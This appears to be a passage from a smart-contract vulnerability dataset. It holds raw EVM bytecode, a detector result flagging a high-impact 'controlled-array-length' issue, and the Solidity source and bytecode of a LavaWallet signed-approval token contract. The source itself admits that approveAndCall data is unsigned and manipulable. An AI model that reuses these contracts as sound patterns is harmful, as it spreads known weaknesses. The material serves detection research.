51790935590519290940191909155805182815290519192339287927fb41c9b05054be45850ccc1da7d90c7b819cff855cfe0d14f16427398b286c9b692908290030190a35060019392505050565b60008080331515610bc057600080fd5b60048054600181019182905592508210610bd957600080fd5b6003805460018101808355600092909252610c17907fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0187876113c9565b50506004546000190160009081526005602090815260408083208054600160a060020a031916339081179091558352600690915290208054600190810190915595945050505050565b600080600060045484101515610c7557600080fd5b6000848152600760205260409020805490925060ff161515610c9657600080fd5b6004820154600160a060020a03161580610cbc57506004820154600160a060020a031633145b1515610cc757600080fd5b6003820154341015610cd857600080fd5b6000848152600560205260409020546002830154600160a060020a03908116911614610d0357600080fd5b50600083815260056020526040902054600160a060020a0316610d27813386611251565b610d3084611105565b50610d3b33856112d9565b600160a060020a0381166000818152600960209081526040918290208054349081019091558251908152915133939288927f2c12839ef64bea6a70c50dab4bbde52beab0585883b4be2c0c56a49f93c8797f92918290030190a45060019392505050565b600081815260056020526040812054600160a060020a0316338114610dc357600080fd5b6004548310610dd157600080fd5b610dda83611105565b50610de6818585611251565b610df084846112d9565b5060019392505050565b60096020526000908152604090205481565b60008060045484101515610e1f57600080fd5b50600083815260056020526040902054600160a060020a0316338114610e4457600080fd5b6040805160a0810182526001808252602080830188815233848601818152606086018a81526000608088018181528d8252600787528982209851895460ff19169015151789559451968801969096559051600287018054600160a060020a0319908116600160a060020a0393841617909155915160038801559251600490960180549091169590921694909417905583518781529351919388927f4398c010beff9b163da97c65f5b6d3e306326cc93c3b0bc94ef6ccf596c768e2929181900390910190a45060019392505050565b6004546060908210610f2457600080fd5b6003805483908110610f3257fe5b600091825260209182902001805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610fc05780601f10610f9557610100808354040283529160200191610fc0565b820191906000526020600020905b815481529060010190602001808311610fa357829003601f168201915b50505050509050919050565b6007602052600090815260409020805460018201546002830154600384015460049094015460ff909316939192600160a060020a0391821692911685565b600454600090821061101b57600080fd5b600082815260056020526040902054600160a060020a03161561103d57600080fd5b60008281526005602090815260408083208054600160a060020a0319163390811790915580845260068352818420805460010190559280527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f88054600019019055805185815290517f35538759d80c1fd7bb450a0d05601db5a99fa8b5d073a07c847a9fd61029b107929181900390910190a2506001919050565b60045460009082106110e957600080fd5b50600090815260056020526040902054600160a060020a031690565b600454600090821061111657600080fd5b600082815260056020526040902054600160a060020a0316331461113957600080fd5b6040805160a08101825260008082526020808301868152838501838152606085018481526080860185815289865260079094528685209551865460ff19169015151786559151600186015551600285018054600160a060020a0319908116600160a060020a03938416179091559151600386015591516004909401805490911693909116929092179091559051339184917f2646172b1b1c27e63f2c49be59b543cdf80e8c524be686263dbfe352e1aec1539190a3506001919050565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561070e5780601f106106e35761010080835404028352916020019161070e565b600160a060020a03808416600081815260066020908152604080832080546000190190559386168083528483208054600101905585835260058252918490208054600160a060020a031916831790558351858152935191937f0a429aba3d89849a2db0153e4534d95c46a1d83c8109d73893f55ebc44010ff4929081900390910190a3505050565b60008181526008602052604081206002810154909190600160a060020a03858116911614156113c35750600381810154600160a060020a03858116600081815260096020908152604080832080548701905580516080810182528381528083018a8152818301858152606083018681528c875260088652958490209251835460ff19169015151783559051600183015551600282018054600160a060020a031916919097161790955591519390950192909255815183815291519293909286927fb41c9b05054be45850ccc1da7d90c7b819cff855cfe0d14f16427398b286c9b692908290030190a35b50505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061140a5782800160ff19823516178555611437565b82800160010185558215611437579182015b8281111561143757823582559160200191906001019061141c565b50610a44926106779250905b80821115610a4457600081556001016114435600a165627a7a72305820b8ce981722152d7ca64a42a01c0a45d90a6d1b3677cedfe30b80d5b476b3b86b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,151
0xf226b12c03514571c5a473b2627f5528da46d263
pragma solidity ^0.4.18; /* This is a token wallet contract Store your tokens in this contract to give them super powers Tokens can be spent from the contract with only an ecSignature from the owner - onchain approve is not needed */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) public pure returns (address) { bytes32 r; bytes32 s; uint8 v; //Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract LavaWallet is Owned { using SafeMath for uint; // balances[tokenContractAddress][EthereumAccountAddress] = 0 mapping(address => mapping (address => uint256)) balances; //token => owner => spender : amount mapping(address => mapping (address => mapping (address => uint256))) allowed; mapping(address => uint256) depositedTokens; mapping(bytes32 => uint256) burnedSignatures; event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); event Transfer(address indexed from, address indexed to,address token, uint tokens); event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens); function LavaWallet() public { } //do not allow ether to enter function() public payable { revert(); } //Remember you need pre-approval for this - nice with ApproveAndCall function depositTokens(address from, address token, uint256 tokens ) public returns (bool success) { //we already have approval so lets do a transferFrom - transfer the tokens into this contract if(!ERC20Interface(token).transferFrom(from, this, tokens)) revert(); balances[token][from] = balances[token][from].add(tokens); depositedTokens[token] = depositedTokens[token].add(tokens); Deposit(token, from, tokens, balances[token][from]); return true; } //No approve needed, only from msg.sender function withdrawTokens(address token, uint256 tokens) public returns (bool success){ balances[token][msg.sender] = balances[token][msg.sender].sub(tokens); depositedTokens[token] = depositedTokens[token].sub(tokens); if(!ERC20Interface(token).transfer(msg.sender, tokens)) revert(); Withdraw(token, msg.sender, tokens, balances[token][msg.sender]); return true; } //Requires approval so it can be public function withdrawTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) { balances[token][from] = balances[token][from].sub(tokens); depositedTokens[token] = depositedTokens[token].sub(tokens); allowed[token][from][to] = allowed[token][from][to].sub(tokens); if(!ERC20Interface(token).transfer(to, tokens)) revert(); Withdraw(token, from, tokens, balances[token][from]); return true; } function balanceOf(address token,address user) public constant returns (uint) { return balances[token][user]; } //Can also be used to remove approval by using a 'tokens' value of 0 function approveTokens(address spender, address token, uint tokens) public returns (bool success) { allowed[token][msg.sender][spender] = tokens; Approval(msg.sender, token, spender, tokens); return true; } ///transfer tokens within the lava balances //No approve needed, only from msg.sender function transferTokens(address to, address token, uint tokens) public returns (bool success) { balances[token][msg.sender] = balances[token][msg.sender].sub(tokens); balances[token][to] = balances[token][to].add(tokens); Transfer(msg.sender, token, to, tokens); return true; } ///transfer tokens within the lava balances //Can be public because it requires approval function transferTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) { balances[token][from] = balances[token][from].sub(tokens); allowed[token][from][to] = allowed[token][from][to].sub(tokens); balances[token][to] = balances[token][to].add(tokens); Transfer(token, from, to, tokens); return true; } //Nonce is the same thing as a 'check number' //EIP 712 function getLavaTypedDataHash(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce) public constant returns (bytes32) { bytes32 hardcodedSchemaHash = 0x8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb37; //with methodname bytes32 typedDataHash = sha3( hardcodedSchemaHash, sha3(methodname,from,to,this,token,tokens,relayerReward,expires,nonce) ); return typedDataHash; } function tokenApprovalWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, bytes32 sigHash, bytes signature) internal returns (bool success) { address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature); //make sure the signer is the depositor of the tokens if(from != recoveredSignatureSigner) revert(); //make sure the signature has not expired if(block.number > expires) revert(); uint burnedSignature = burnedSignatures[sigHash]; burnedSignatures[sigHash] = 0x1; //spent if(burnedSignature != 0x0 ) revert(); //approve the relayer reward allowed[token][from][msg.sender] = relayerReward; Approval(from, token, msg.sender, relayerReward); //transferRelayerReward if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert(); //approve transfer of tokens allowed[token][from][to] = tokens; Approval(from, token, to, tokens); return true; } function approveTokensWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { bytes32 sigHash = getLavaTypedDataHash('approve',from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); return true; } //the tokens remain in lava wallet function transferTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { //check to make sure that signature == ecrecover signature bytes32 sigHash = getLavaTypedDataHash('transfer',from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); //it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though if(!transferTokensFrom( from, to, token, tokens)) revert(); return true; } //The tokens are withdrawn from the lava wallet and transferred into the To account function withdrawTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { //check to make sure that signature == ecrecover signature bytes32 sigHash = getLavaTypedDataHash('withdraw',from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); //it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though if(!withdrawTokensFrom( from, to, token, tokens)) revert(); return true; } function tokenAllowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[token][tokenOwner][spender]; } function burnSignature(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce); address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature); //make sure the invalidator is the signer if(recoveredSignatureSigner != from) revert(); //only the original packet owner can burn signature, not a relay if(from != msg.sender) revert(); //make sure this signature has never been used uint burnedSignature = burnedSignatures[sigHash]; burnedSignatures[sigHash] = 0x2; //invalidated if(burnedSignature != 0x0 ) revert(); return true; } //2 is burned //1 is redeemed function signatureBurnStatus(bytes32 digest) public view returns (uint) { return (burnedSignatures[digest]); } /* Receive approval to spend tokens and perform any action all in one transaction */ function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) { return depositTokens(from, token, tokens ); } /* Approve lava tokens for a smart contract and call the contracts receiveApproval method all in one fell swoop One issue: the data is not being signed and so it could be manipulated */ function approveAndCall(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature ) public returns (bool success) { bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, methodname); return true; } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // Owner CANNOT transfer out tokens which were purposefully deposited // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { //find actual balance of the contract uint tokenBalance = ERC20Interface(tokenAddress).balanceOf(this); //find number of accidentally deposited tokens (actual - purposefully deposited) uint undepositedTokens = tokenBalance.sub(depositedTokens[tokenAddress]); //only allow withdrawing of accidentally deposited tokens assert(tokens <= undepositedTokens); if(!ERC20Interface(tokenAddress).transfer(owner, tokens)) revert(); return true; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306b091f914610122578063094171101461018757806320acbc83146101cc57806339dc5ef2146102d55780634b17bdd81461035a57806355f25e3f146103ff57806379ba50971461050c5780638da5cb5b146105235780638e8758d81461057a5780638f4ffcb114610611578063912d6e28146106dc578063a51fbb3f14610761578063a64b6e5f1461086a578063a9ff2a5e146108ef578063b0e0ef09146109f8578063c272f73e14610a9d578063d4ee1d9014610bec578063dc39d06d14610c43578063f03e786a14610ca8578063f2fde38b14610df7578063f7888aec14610e3a575b600080fd5b34801561012e57600080fd5b5061016d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb1565b604051808215151515815260200191505060405180910390f35b34801561019357600080fd5b506101b6600480360381019080803560001916906020019092919050505061126d565b6040518082815260200191505060405180910390f35b3480156101d857600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611292565b604051808215151515815260200191505060405180910390f35b3480156102e157600080fd5b50610340600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061131f565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b506103e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611710565b604051808215151515815260200191505060405180910390f35b34801561040b57600080fd5b506104ee600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611b5e565b60405180826000191660001916815260200191505060405180910390f35b34801561051857600080fd5b50610521611d58565b005b34801561052f57600080fd5b50610538611ef7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058657600080fd5b506105fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f1c565b6040518082815260200191505060405180910390f35b34801561061d57600080fd5b506106c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611fe1565b604051808215151515815260200191505060405180910390f35b3480156106e857600080fd5b50610747600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ff8565b604051808215151515815260200191505060405180910390f35b34801561076d57600080fd5b50610850600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061215c565b604051808215151515815260200191505060405180910390f35b34801561087657600080fd5b506108d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121d2565b604051808215151515815260200191505060405180910390f35b3480156108fb57600080fd5b506109de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612496565b604051808215151515815260200191505060405180910390f35b348015610a0457600080fd5b50610a83600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612523565b604051808215151515815260200191505060405180910390f35b348015610aa957600080fd5b50610bd2600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612a6a565b604051808215151515815260200191505060405180910390f35b348015610bf857600080fd5b50610c01612c75565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c4f57600080fd5b50610c8e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c9b565b604051808215151515815260200191505060405180910390f35b348015610cb457600080fd5b50610ddd600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612f49565b604051808215151515815260200191505060405180910390f35b348015610e0357600080fd5b50610e38600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130e7565b005b348015610e4657600080fd5b50610e9b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613186565b6040518082815260200191505060405180910390f35b6000610f4282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d602081101561112457600080fd5b8101908080519060200190929190505050151561114057600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567833384600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a16001905092915050565b6000600560008360001916600019168152602001908152602001600020549050919050565b6000806112da6040805190810160405280600881526020017f77697468647261770000000000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611b5e565b90506112ec8a8a8a8a8a8a878a613226565b15156112f757600080fd5b6113038a8a8a8a612523565b151561130e57600080fd5b600191505098975050505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff166323b872dd8530856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156113f857600080fd5b505af115801561140c573d6000803e3d6000fd5b505050506040513d602081101561142257600080fd5b8101908080519060200190929190505050151561143e57600080fd5b6114cd82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136b490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061159f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136b490919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7838584600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1600190509392505050565b60006117a182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ed82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a3982600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136b490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f8685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a360019050949350505050565b60008060007f8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb376001029150818b8b8b308c8c8c8c8c604051808a805190602001908083835b602083101515611bc85780518252602082019150602081019050602083039250611ba3565b6001836020036101000a0380198251168184511680821785525050505050509050018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018581526020018481526020018381526020018281526020019950505050505050505050604051809103902060405180836000191660001916815260200182600019166000191681526020019250505060405180910390209050809250505098975050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611db457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509392505050565b6000611fee85848661131f565b9050949350505050565b600081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a618685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a3600190509392505050565b6000806121a46040805190810160405280600781526020017f617070726f7665000000000000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611b5e565b90506121b68a8a8a8a8a8a878a613226565b15156121c157600080fd5b600191505098975050505050505050565b600061226382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136b490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffff